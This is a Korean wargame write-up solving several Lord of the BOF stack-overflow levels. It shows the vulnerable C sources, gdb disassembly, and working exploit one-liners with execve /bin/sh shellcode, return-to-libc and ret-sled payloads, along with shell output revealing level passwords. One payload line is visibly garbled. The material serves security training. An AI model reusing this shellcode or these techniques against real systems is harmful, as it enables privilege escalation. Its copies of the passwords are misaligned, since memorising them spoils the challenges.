FPO를 통해 problem_child 함수 종료 후 main 함수로 돌아갈 ebp를 변조하여, ebp+4에 위치한 주소로 이동하는 로직을 통해 쉘 코드가 삽입되어 있는 주소로 이동하게 되는 것이다. 이동 반경은 0xffffff00 ~ 0xffffffff 이 정도가 아닐까 생각한다. 255 크기정도
stack을 좀 살펴 보자면… 아래와 같다
1
2
3
4
0xbffffc54: 0xbffffc8c 0x08048466 0x08048500 0xbffffc64
0xbffffc64: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc74: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc84: 0x41414141 0x41414141 0xbffffc00 0x0804849e
A가 끝나는 지점 이후 인 0xbffffc00은 main으로 돌아갈 주소이며, A를 40개 주고 B를 하나 주면, 아래와 같이 주소가 바뀌게 된다.
1
2
3
0xbffffc64: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc74: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc84: 0x41414141 0x41414141 0xbffffc42 0x0804849e
0xbffffc42 요렇게! 이 값을 A가 시작하는 주소인 0xbffffc64으로 옮기고 A 대신 쉘 코드를 넣으면 될 것이다.
라고 생각하면 틀린 것이다.
우리가 돌아갈 주소는 main에 입력되어 있는 argv[1]의 위치이기 때문에 esp-0x40 위치 쯤에서 찾아야 한다.
1
2
3
4
0xbffffc5c: 0x08048500 0xbffffc64 0x90909090 0x90909090
0xbffffc6c: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffc7c: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0
0xbffffc8c: 0xbffffc5c 0x0804849e 0xbffffdf8 0xbffffcb8
41번 째 주소는 0xbffffc6c정도를 가지고 있으면 +4된 주소가 실행된다. 어짜피 nop 이기 때문에 영향을 받지 않는다.
최종 exploit 코드는 nop+shellcode 로 구성된 아래 홈페이지를 참조하였다.
1
2
3
4
5
6
7
`python -c 'print "\x90"*15 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6c"'`
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
출처: http://orang.tistory.com/entry/해커스쿨-LOB-golem-darkknight-by-ORANG [Hacked by ORANG]
darkknight
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,44
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x8048500
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: add %edx,47
0x804845e <main+46>: cmp BYTE PTR [%edx],0xbf
0x8048461 <main+49>: jne 0x8048480 <main+80>
0x8048463 <main+51>: push 0x804850c
0x8048468 <main+56>: call 0x8048350 <printf>
0x804846d <main+61>: add %esp,4
0x8048470 <main+64>: push 0
0x8048472 <main+66>: call 0x8048360 <exit>
0x8048477 <main+71>: add %esp,4
0x804847a <main+74>: lea %esi,[%esi]
0x8048480 <main+80>: mov %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>: add %eax,4
0x8048486 <main+86>: mov %edx,DWORD PTR [%eax]
0x8048488 <main+88>: push %edx
0x8048489 <main+89>: lea %eax,[%ebp-40]
0x804848c <main+92>: push %eax
0x804848d <main+93>: call 0x8048370 <strcpy>
0x8048492 <main+98>: add %esp,8
0x8048495 <main+101>: lea %eax,[%ebp-40]
0x8048498 <main+104>: push %eax
0x8048499 <main+105>: push 0x8048522
0x804849e <main+110>: call 0x8048350 <printf>
0x80484a3 <main+115>: add %esp,8
0x80484a6 <main+118>: leave
0x80484a7 <main+119>: ret
3. exploit code
- 참조 : http://blog.asdfasdf.kr/150
위 블로그를 참고 하면 다음과 같다. RTL를 이용하여, 라이브러리에 존재하는 /bin/sh의 위치를 알아내 RET함수에 system 함수의 주소를 입력하고 4byte의 더미 값을 입력 후 /bin/sh의 주소 값을 넣으면 익스가 성공하게 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[darkknight@localhost tmp]$ gdb -q ./bugbear
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/tmp/./bugbear
Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
bugbear
이 문제는 좀 어려워서… http://ssaemo.tistory.com/30 블로그를 참고하였다.
해당 문제는 execve 함수를 통해 exploit 하는 문제로 아래 내용을 살펴 보자
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2. gdb
3. exploit code
먼저 execve 함수의 주소를 찾는다.
1
2
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
execve 함수 원형은 execve(“/bin/sh”, argv, env) 이렇게 구성 되며 argv를 “/bin/sh”로 변경해야 한다.
RET를 통해 execve 함수를 실행 시키면 RET은 EBP가 되고 RET 영역+4가 EBP+4, 즉 새로운 RET(execve 함수 종료 후의 RET)가 된다. 이후 EBP+8(&”/bin/sh”), EBP+12(&argv), EBP+16(NULL)이 각각 매개변수가 된다.
최종적으로는 A*44 + &execve + RET + &/bin/sh + &argv + &NULL와 같은 exploit payload를 짜야 한다.
1
2
3
4
5
6
7
8
export persu="/bin/sh" 추가
0xbffffe4a: "persu=/bin/sh"
0xbffffff5: "./����"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
위 와 같이 각 인자 값에 해당하는 주소를 획득하게 되고 아래와 같이 exploit code를 짜게 된다.
1
2
3
4
5
ln -sf ~/giant `python -c 'print "\x4a\xfe\xff\xbf"'`
./`python -c 'print "\x4a\xfe\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x4a\xfe\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
password : one step closer
assassin
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
0x8048473 <main+3>: sub $0x28,%esp
0x8048476 <main+6>: cmpl $0x1,0x8(%ebp)
0x804847a <main+10>: jg 0x8048493 <main+35>
0x804847c <main+12>: push $0x8048570
0x8048481 <main+17>: call 0x8048378 <printf>
0x8048486 <main+22>: add $0x4,%esp
0x8048489 <main+25>: push $0x0
0x804848b <main+27>: call 0x8048388 <exit>
0x8048490 <main+32>: add $0x4,%esp
0x8048493 <main+35>: mov 0xc(%ebp),%eax
0x8048496 <main+38>: add $0x4,%eax
0x8048499 <main+41>: mov (%eax),%edx
0x804849b <main+43>: add $0x2f,%edx
0x804849e <main+46>: cmpb $0xbf,(%edx)
0x80484a1 <main+49>: jne 0x80484c0 <main+80>
0x80484a3 <main+51>: push $0x804857c
0x80484a8 <main+56>: call 0x8048378 <printf>
0x80484ad <main+61>: add $0x4,%esp
0x80484b0 <main+64>: push $0x0
0x80484b2 <main+66>: call 0x8048388 <exit>
0x80484b7 <main+71>: add $0x4,%esp
0x80484ba <main+74>: lea 0x0(%esi),%esi
0x80484c0 <main+80>: mov 0xc(%ebp),%eax
0x80484c3 <main+83>: add $0x4,%eax
0x80484c6 <main+86>: mov (%eax),%edx
0x80484c8 <main+88>: add $0x2f,%edx
0x80484cb <main+91>: cmpb $0x40,(%edx)
0x80484ce <main+94>: jne 0x80484e7 <main+119>
0x80484d0 <main+96>: push $0x8048591
0x80484d5 <main+101>: call 0x8048378 <printf>
0x80484da <main+106>: add $0x4,%esp
0x80484dd <main+109>: push $0x0
0x80484df <main+111>: call 0x8048388 <exit>
0x80484e4 <main+116>: add $0x4,%esp
0x80484e7 <main+119>: mov 0xc(%ebp),%eax
0x80484ea <main+122>: add $0x4,%eax
0x80484ed <main+125>: mov (%eax),%edx
0x80484ef <main+127>: push %edx
0x80484f0 <main+128>: lea 0xffffffd8(%ebp),%eax
0x80484f3 <main+131>: push %eax
0x80484f4 <main+132>: call 0x80483a8 <strcpy>
0x80484f9 <main+137>: add $0x8,%esp
0x80484fc <main+140>: lea 0xffffffd8(%ebp),%eax
0x80484ff <main+143>: push %eax
0x8048500 <main+144>: push $0x80485ae
0x8048505 <main+149>: call 0x8048378 <printf>
0x804850a <main+154>: add $0x8,%esp
0x804850d <main+157>: push $0x2c
0x804850f <main+159>: push $0x0
0x8048511 <main+161>: lea 0xffffffd8(%ebp),%eax
0x8048514 <main+164>: push %eax
0x8048515 <main+165>: call 0x8048398 <memset>
0x804851a <main+170>: add $0xc,%esp
0x804851d <main+173>: leave
0x804851e <main+174>: ret
0x804851f <main+175>: nop
3. exploit code
ret를 한번 더 호출하게 되면 ret sld를 통해 다음 4byte가 실제 이동하는 메모리 주소다.
1
2
3
4
5
6
7
8
./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xd0\xfd\xff\xbf"+"\x90"*128+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away